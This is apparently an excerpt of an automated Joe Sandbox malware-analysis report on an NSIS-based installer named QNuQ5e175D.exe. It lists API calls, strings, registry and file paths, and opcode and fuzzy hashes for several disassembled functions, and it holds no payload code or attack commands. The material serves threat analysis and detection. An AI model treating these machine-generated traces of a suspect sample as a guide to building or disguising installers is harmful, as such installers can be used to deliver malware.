ShowWindow.USER32(00000000,?), ref: 004042CC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004042DE
EnableWindow.USER32(?,?), ref: 004042F9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040430F
EnableMenuItem.USER32(00000000), ref: 00404316
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040432E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
ShowWindow.USER32(?,0000000A), ref: 004044B3

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998

lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,756F3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\QNuQ5e175D.exe",00008001), ref: 00403CCA
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,756F3420), ref: 00403D4A
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
GetFileAttributesW.KERNEL32(Call), ref: 00403D68
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres), ref: 00403DB1

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

RegisterClassW.USER32(004336A0), ref: 00403DEE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
ShowWindow.USER32(00000005,00000000), ref: 00403E71
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
RegisterClassW.USER32(004336A0), ref: 00403EB3
DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2

Strings

_Nb, xrefs: 00403DCD, 00403E35
"C:\Users\user\Desktop\QNuQ5e175D.exe", xrefs: 00403C4C
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403CD9, 00403CE1, 00403D84, 00403D8A, 00403D9A
1033, xrefs: 00403C69, 00403CC5
.exe, xrefs: 00403D57
RichEdit, xrefs: 00403EA4
RichEd20, xrefs: 00403E77
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C4E
Control Panel\Desktop\ResourceLocale, xrefs: 00403C7D
RichEd32, xrefs: 00403E85
RichEdit20W, xrefs: 00403E95, 00403E9B
.DEFAULT\Control Panel\International, xrefs: 00403CB5
Call, xrefs: 00403D11, 00403D1A, 00403D28, 00403D77, 00403D7D

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\QNuQ5e175D.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3434354963
Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004030B3
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\QNuQ5e175D.exe,00000400), ref: 004030CF

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QNuQ5e175D.exe,C:\Users\user\Desktop\QNuQ5e175D.exe,80000000,00000003), ref: 0040311B
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403251

Strings

Null, xrefs: 00403199
"C:\Users\user\Desktop\QNuQ5e175D.exe", xrefs: 004030A8
C:\Users\user\AppData\Local\Temp\, xrefs: 004030A9
soft, xrefs: 00403190
C:\Users\user\Desktop\QNuQ5e175D.exe, xrefs: 004030B9, 004030C8, 004030DC, 004030FC
Inst, xrefs: 00403187
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403278
Error launching installer, xrefs: 004030F2
C:\Users\user\Desktop, xrefs: 004030FD, 00403102, 00403108

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\QNuQ5e175D.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\QNuQ5e175D.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3711894650
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004066D6
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,?,?,00000000,00000000,00425A20,756F23A0), ref: 004066EC
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 0040674A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,?,?,00000000,00000000,00425A20,756F23A0), ref: 0040677E
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,?,?,00000000,00000000,00425A20,756F23A0), ref: 004067D8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004066A7
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406778
Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll, xrefs: 004065D8
Call, xrefs: 004065E1, 0040669B, 004066A2, 004066A6, 004066BF, 004066C0, 004066D5, 004066EB, 0040671C, 00406748, 0040677D, 00406783, 004067A0, 004067B3, 004067D1, 004067D7, 004067E0, 00406815

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-4218209683
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403343
GetTickCount.KERNEL32 ref: 004033EA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403413
wsprintfW.USER32 ref: 00403426

Strings

*B, xrefs: 00403304
... %d%%, xrefs: 00403420
ZB, xrefs: 004033C7, 004033E2, 0040345F
A, xrefs: 00403399
A, xrefs: 004034A3

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%
API String ID: 551687249-3856725213
Opcode ID: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
Opcode Fuzzy Hash: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017FA

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll, xrefs: 0040185A, 00401876
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 004017C3
Call, xrefs: 004017B2, 004017BB, 004017C8, 004017DA, 004017E6, 0040181C, 00401832, 00401850, 0040188C, 0040190D, 00401916, 00401920, 0040192B
C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 00401846, 00401864

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsj924C.tmp$C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 1941528284-3366649160
Opcode ID: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
Opcode Fuzzy Hash: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,00000000,00425A20,756F23A0), ref: 00405657
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll, xrefs: 0040561D, 0040562D, 00405633, 00405656, 00405662

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsj924C.tmp\System.dll
API String ID: 2531174081-1930431089
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1

Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040615E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
wsprintfW.USER32 ref: 0040694D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Strings

%s%S.dll, xrefs: 00406947
UXTHEME, xrefs: 00406904

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: 6d7bab0cfc2d48cbbbe6bb2f91b005b1c0391479526b60628745523d5c0137a7
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 66F02B71501129A7CF10AB68DD0EF9F376CAB00304F10447AA646F10E0EB7CDB69CB98

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F22
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F77
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F8E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F99

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

